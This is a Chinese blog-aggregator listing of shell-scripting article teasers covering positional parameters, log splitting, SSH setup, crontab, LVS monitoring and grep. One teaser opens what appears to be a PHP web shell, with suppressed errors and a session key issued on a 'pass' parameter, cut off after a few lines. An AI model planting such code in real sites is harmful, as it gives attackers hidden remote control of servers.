$0:当前shell脚本的文件名$1:shell脚本的第一个位置参数$2:shell脚本的第二个位置参数$3:shell脚本的第三个位置参数$9之后要加{};例如${10}、${11}...$*:所有传递的位置参数$@:所有传递的位置参数 $*与$@区别:不加""(双引号)时候两者相同 加了引号后, ...
分类:
系统相关 时间:
2020-06-25 17:25:11
阅读次数:
82
大日志文件切割shell脚本 #!/bin/bash # # 日志文件300M分割,并zip压缩,每个项目仅保留最新30个文件, # 文件格式:项目名称-年月日时分秒.zip # Author : # Date : # Email : # Version : 1.0 # # 日志目录 LOG_DIR ...
分类:
系统相关 时间:
2020-06-25 15:36:49
阅读次数:
59
查看当前系统shell运行类型 [vagrant@localhost ssh]$ echo $BASH /bin/bash 第一个shell脚本 [vagrant@localhost ssh]$ vi first_shell.sh #!/bin/bash echo 'hello world' [va ...
分类:
系统相关 时间:
2020-06-25 11:36:03
阅读次数:
61
本贴记录写shell脚本的时候踩的那些细节坑: 1.变量赋值不要加空格 a=1 #right a = 1 #wrong 2.if判断语句 [] 之间要加空格 if["$1"] then echo "有第一个参数" else echo “没有第一个参数” fi 隐蔽的错误,bash命令执行脚本的时候, ...
分类:
系统相关 时间:
2020-06-24 23:32:11
阅读次数:
80
Linux-编写SHELL 加密解密方法 我们在编写SHELL脚本时,有时候需要填写密码到脚本里,比如mysql备份脚本,这时我们就需要一个脚本加密解密的方法了,我使用GO语音执行Linux命令加密解密。脚本调用go脚本。 一. 使用bash64 加密 解密 1.加密 [root@izbp14ot0 ...
分类:
系统相关 时间:
2020-06-24 22:01:38
阅读次数:
100
参考网址 :http://blog.csdn.net/renfufei/article/details/23701765 http://blog.csdn.net/ethanzhao/article/details/4406017 http://tool.lu/crontab crontab任务表达 ...
分类:
数据库 时间:
2020-06-24 19:23:28
阅读次数:
68
先是shell脚本 <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key ...
分类:
其他好文 时间:
2020-06-24 14:22:32
阅读次数:
76
#!/bin/bash ssh-keygen cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys chmod 700 ~/.ssh chmod 600 ~/.ssh/authorized_keys ulimit -n 10000 yum install - ...
分类:
系统相关 时间:
2020-06-23 15:50:21
阅读次数:
83
简介在生产工作中,后台的服务器并不可能永远都处于正常运行状态,若服务器发生宕机,为了不影响正在进行的业务以及给用户更好的体验,我们需要通过编写监控脚本对LVS的后台主机存活情况进行监控,当有服务器发生故障时,脚本会从LVS转发策略删除该服务器的转发规则;等到服务器恢复正常后,脚本也将把该服务器的转发规则重新加入LVS转发策略中;若所有的后台服务器都宕机了,则脚本会自动把虚拟ip的端口转发到本机端口
分类:
系统相关 时间:
2020-06-23 15:29:21
阅读次数:
71
grep (Global search Regular Expression(RE) and Print out the line, 全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。 ...
分类:
系统相关 时间:
2020-06-23 13:18:34
阅读次数:
62